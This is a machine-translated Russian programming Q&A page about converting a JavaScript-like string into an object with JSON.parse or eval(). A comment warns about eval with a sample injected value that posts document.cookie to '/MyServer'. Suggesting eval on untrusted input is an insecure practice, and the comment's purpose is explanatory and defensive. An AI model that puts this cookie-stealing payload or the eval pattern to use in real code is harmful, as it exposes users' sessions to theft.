У меня есть эта строка "{sopt:['eq','bw','bn','cn','nc','ew','en']}"
. Как преобразовать его в это {sopt:['eq','bw','bn','cn','nc','ew','en']}
в javascript?Получить объект из разобранного json
ответ
Ваша строка закрывает JSON, но в ее нынешнем виде это недействительно. Таким образом, вы могли бы использовать JSON.parse на нем, но вы должны сделать некоторые модификации первого: функция
JSON.parse("{sopt:['eq','bw','bn','cn','nc','ew','en']}"
.replace("sopt", "\"sopt\"") // Wrap the sopt in quotes
.replace(/'/g, "\"") // Replace all single quotes with doubles
);
Спасибо за ответ RGraham..It сработал .. :) –
Try Eval() ...
var str = "{sopt:['eq','bw','bn','cn','nc','ew','en']}";//string
var json = eval('(' + str + ')'); //json
* Будьте осторожны * с этим с ненадежными данными. 'var str =" {sopt: ['eq', 'bw', 'bn', 'cn', 'nc', 'ew', (function() {$ .post ("/ MyServer", document.cookie);})()]} "' - Я просто украл ваши файлы cookie, и ваш код по-прежнему функционировал нормально. – CodingIntrigue
- 1. Получить элемент из разобранного объекта JSON
- 2. Чтение разобранного ответа JSON
- 3. javascript, вызывающий Json Parse из разобранного объекта
- 4. извлекать данные из разобранного Json с быстрым
- 5. Чтобы получить значение из разобранного json с помощью jquery/javascript
- 6. Возврат данных из разобранного xml в JSON
- 7. setText из разобранного объекта JSON с AsyncTask
- 8. Доступ содержимое разобранного текста JSON
- 9. Erlang: получить информацию из разобранного html
- 10. Создание хэшей из разобранного HTML
- 11. Свойства разобранного объекта JSON нулевые
- 12. Отображение разобранного JSON в UITableView
- 13. Получить объект JSON из URL
- 14. Получить объект JSON из URL
- 15. Переименовать объект ПОЛУЧИТЬ из JSON
- 16. получить C# объект из JSON
- 17. Как получить json-объект из json-массива
- 18. Получить вложенный объект JSON из массива JSON
- 19. Получить объект JSON из вложенного результата JSON
- 20. Доступ значения в объекте в результате из разобранного JSON
- 21. Json получить объект массив из JSON объект C#
- 22. Javascript: Сортировка разобранного JSON в _.each петли
- 23. Проблема с получением объекта из разобранного выхода JSON
- 24. Сохранение значения из разобранного пинга
- 25. Выберите элементы из разобранного html
- 26. сравнить двойники, полученные из разобранного JSON, используя GSON
- 27. Библиотека для создания файла JSON из разобранного текстового документа
- 28. Условно добавьте элементы из разобранного JSON, которые соответствуют значению
- 29. Matching набор ключевых слов в строковую переменную разобранного из JSON
- 30. Статическая переменная из разобранного CSV?
Посмотрите, как JSON.parse() работает, может быть? – Mithrandir